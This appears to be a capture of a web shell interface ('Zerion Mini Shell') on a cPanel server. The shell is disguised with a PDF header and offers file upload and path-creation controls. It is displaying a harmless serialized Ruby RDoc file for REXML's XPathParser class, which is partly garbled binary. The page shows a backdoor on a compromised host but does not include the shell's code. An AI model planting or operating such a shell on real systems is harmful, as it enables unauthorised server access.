%PDF- %PDF-
Mini Shell

Mini Shell

Direktori : /opt/cpanel/ea-ruby24/root/usr/share/ri/system/REXML/Parsers/XPathParser/
Upload File :
Create Path :
Current File : //opt/cpanel/ea-ruby24/root/usr/share/ri/system/REXML/Parsers/XPathParser/cdesc-XPathParser.ri

U:RDoc::NormalClass[iI"XPathParser:ETI" REXML::Parsers::XPathParser;TI"Object;To:RDoc::Markup::Document:@parts[o;;[o:RDoc::Markup::Paragraph;[	I"OYou don't want to use this class.  Really.  Use XPath, which is a wrapper ;TI"Jfor this class.  Believe me.  You don't want to poke around in here. ;TI"OThere is strange, dark magic at work in this code.  Beware.  Go back!  Go ;TI"back while you still can!;T:
@fileI"%lib/rexml/parsers/xpathparser.rb;T:0@omit_headings_from_table_of_contents_below0;
0;0[[U:RDoc::Constant[iI"LITERAL;FI")REXML::Parsers::XPathParser::LITERAL;T00o;;[;
@;0@@cRDoc::NormalClass0U;[iI"	AXIS;FI"&REXML::Parsers::XPathParser::AXIS;T00o;;[o;	;[I"RelativeLocationPath;To:RDoc::Markup::Verbatim;[I"?|                                                    Step
;TI"G  | (AXIS_NAME '::' | '@' | '')                     AxisSpecifier
;TI"    NodeTest
;TI"      Predicate
;TI"I  | '.' | '..'                                      AbbreviatedStep
;TI"&|  RelativeLocationPath '/' Step
;TI"%| RelativeLocationPath '//' Step;T:@format0;
@;0@@@0U;[iI"NCNAMETEST;FI",REXML::Parsers::XPathParser::NCNAMETEST;T00o;;[o;
;[	I"&Returns a 1-1 map of the nodeset
;TI"5The contents of the resulting array are either:
;TI"'  true/false, if a positive match
;TI"  String, if a name match
;T;0o;	;[I"
NodeTest;To;
;[	I">| ('*' | NCNAME ':' '*' | QNAME)                NameTest
;TI"?| NODE_TYPE '(' ')'                              NodeType
;TI"8| PI '(' LITERAL ')'                            PI
;TI">  | '[' expr ']'                                Predicate;T;0;
@;0@@@0U;[iI"
QNAME;FI"'REXML::Parsers::XPathParser::QNAME;T00o;;[;
@;0@@@0U;[iI"NODE_TYPE;FI"+REXML::Parsers::XPathParser::NODE_TYPE;T00o;;[;
@;0@@@0U;[iI"PI;FI"$REXML::Parsers::XPathParser::PI;T00o;;[;
@;0@@@0U;[iI"VARIABLE_REFERENCE;FI"4REXML::Parsers::XPathParser::VARIABLE_REFERENCE;T00o;;[o;	;[
I"| VARIABLE_REFERENCE ;TI"| '(' expr ')' ;TI"| LITERAL ;TI"| NUMBER ;TI"| FunctionCall;T;
@;0@@@0U;[iI"NUMBER;FI"(REXML::Parsers::XPathParser::NUMBER;T00o;;[;
@;0@@@0U;[iI"NT;FI"$REXML::Parsers::XPathParser::NT;T00o;;[;
@;0@@@0[[I"XMLTokens;To;;[;
@;0I"%lib/rexml/parsers/xpathparser.rb;T[[I"
class;T[[:public[[:protected[[:private[[I"
instance;T[[;[[I"abbreviate;F@u[I"expand;F@u[I"namespaces=;F@u[I"
parse;F@u[I"predicate;F@u[I"predicate_to_string;F@u[;[[;[[I"AdditiveExpr;F@u[I"AndExpr;F@u[I"EqualityExpr;F@u[I"FilterExpr;F@u[I"FunctionCall;F@u[I"LocationPath;F@u[I"MultiplicativeExpr;F@u[I"
NodeTest;F@u[I"OrExpr;F@u[I"
PathExpr;F@u[I"Predicate;F@u[I"PrimaryExpr;F@u[I"RelationalExpr;F@u[I"RelativeLocationPath;F@u[I"UnaryExpr;F@u[I"UnionExpr;F@u[I"get_group;F@u[I"parse_args;F@u[[U:RDoc::Context::Section[i0o;;[;
0;0[@I"REXML::Parsers;TcRDoc::NormalModule

Zerion Mini Shell 1.0